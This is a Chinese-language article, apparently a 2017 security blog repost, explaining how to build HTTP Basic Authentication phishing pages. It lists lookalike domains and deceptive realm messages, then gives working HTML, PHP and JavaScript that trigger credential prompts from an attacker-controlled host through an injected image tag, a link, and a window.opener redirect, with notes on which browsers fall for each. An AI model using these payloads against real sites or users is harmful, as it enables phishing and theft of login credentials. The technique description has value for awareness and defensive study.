如何制作基础认证钓鱼网站？

关键词:基础认证钓鱼网站时间:2017-09-16 来源:SSL之家点击:次

在此之前，我们曾给大家介绍过一款名叫Responder的工具，当用户在Web浏览器中输入了无效的域名地址之后，这款工具将可以利用基础认证弹窗来收集目标用户的凭证信息。

Responder所使用的方法非常好，它不仅可以捕获到很多有意思的数据，而且还可以响应现存域名的DNS请求，但是我认为将基础认证用于网络钓鱼网站也许会更加有效果。

我觉得基础认证的一个非常吸引我的特点就是用户永远不知道是谁在要求他们输入凭证，而这种特性通常会使用户一不小心就落入了钓鱼网站的陷阱之中。

基础认证钓鱼网站

广大用户可以根据以下两个安全因素来判断一次基础认证请求是否存在问题：

1. 请求认证的IP地址或域名。但这种方法一般无法帮助到普通用户，因为攻击者可以注册一个看起来受信任的域名。比如说，如果攻击者的目标是58ssl.cn，那么他就可以注册如下的类似地址：

58ssl.co / .net

ky-vps.com

58ssl-zj.com

m58ssl.cn

2. 认证参数“Realm”。不过，这个字符串参数仍然可以由攻击者任意提供。根据情况的不同，以下几种简单的提示信息将有可能欺骗用户相信弹出的基础认证窗口是合法的：

a) “需要进行网络代理认证”

b) “由于您长时间未操作，账号已登出，请您重新登录”

说了这么多理论之后，接下来我们一起看几个例子，看看攻击者如何利用基础认证提示来欺骗用户。假设58ssl.cn是一个合法网站，而攻击者注册并控制着一个域名为ky-vps.com的网站，而这个网站将有可能欺骗到某些用户。

实践出真知

1. 利用HTML的image标签获取基础认证提示

如果攻击者可以向一个网站中注入IMG标签，并从一个攻击者可控制的域名引用图片资源的话，那么攻击者就可以在图片被加载之前触发基础认证提示。下面是一个简单的例子：

58ssl.cn/image.html-这个页面中包含一张来自第三方网站ky-vps.com的图片：

<html> <body> Just a funny cat image <img src="http://ky-vps/basicauth.php"alt="Could not load image - Invalid credentils."/> </body> </html>

ky-vps.com/basicauth.php-这是一个第三方页面，当用户访问该页面之后，它将要求用户完成基础认证过程：

<?php $valid_passwords = array("security" => "cafe"); $valid_users =array_keys($valid_passwords); $user = isset($_SERVER['PHP_AUTH_USER']) ?$_SERVER['PHP_AUTH_USER'] : ""; $pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : ""; $validated = (in_array($user,$valid_users)) && ($pass == $valid_passwords[$user]); if (!$validated) { header('WWW-Authenticate: Basic realm="Corporate domain"'); //header('HTTP/1.0 401 Unauthorized'); die("Not authorized"); } // If the user enters valid credentials,just show him a cat picture header("Location:https://kpmgsecurity.files.wordpress.com/2017/06/cat.jpg") ?>

此时，这个托管在第三方网站上的图片将会生成基础认证提示。毫无疑问，任何在这个窗口中输入的凭证信息最终都将发送到那个由攻击者所控制的第三方网站。

注：这种方法适用于Firefox和IE浏览器，Chrome并不会弹出基础认证窗口。

基础认证钓鱼网站

2. 通过打开URL触发基础认证提示

如果攻击者可以向网站中添加HTML锚点，并添加一个指向第三方网站的链接，那么他就能够在第三方网站添加基础认证功能，当用户访问这个URL之后，将会被要求完成基础认证过程。

58ssl.cn/link.html-该页面包含一个指向第三方网站的链接：

<html> <body> A cool website you should visit: <ahref="http://ky-vps.com/basicauth.php">Click me!</a> </body> </html>

当新的URL被加载之前，页面将会弹出一个基础认证提示，此时托管页面和URL仍然会显示给用户。

注:这种情况会出现在Firefox和IE中，Chrome在显示基础认证提示之前既不会显示托管页面，也不会更新地址栏。

基础认证钓鱼网站

3. 在新标签中打开一个URL，并触发基础认证提示

如果跳转发生在新的标签页，那么攻击者就可以利用window.opener在原始标签页中触发基础认证提示。

58ssl.cn/newtab.html-该页面中包含一条会在新标签页中打开的链接：

<html> <body> //Another cool website you should visit: <a href="http://ky-vps.com/landingpage.html"target="_blank">Click me!</a> </body> </html>

ky-vps.com/landingpage.html-该页面会将opener重定向至一个要求进行基础认证的URL：

<html> <head> <title>Nothing here</title> </head> <body> <script> window.opener.location="http://ky-vps.com/basicauth.php"; </script> </body> </html>

此时，负责加载新URL的标签页中将会弹出基础认证提示，此时的托管页面和URL仍然会显示给用户。

注:跟刚才一样，这种情况会出现在Firefox和IE中，Chrome在显示基础认证提示之前既不会显示托管页面，也不会更新地址栏。

基础认证钓鱼网站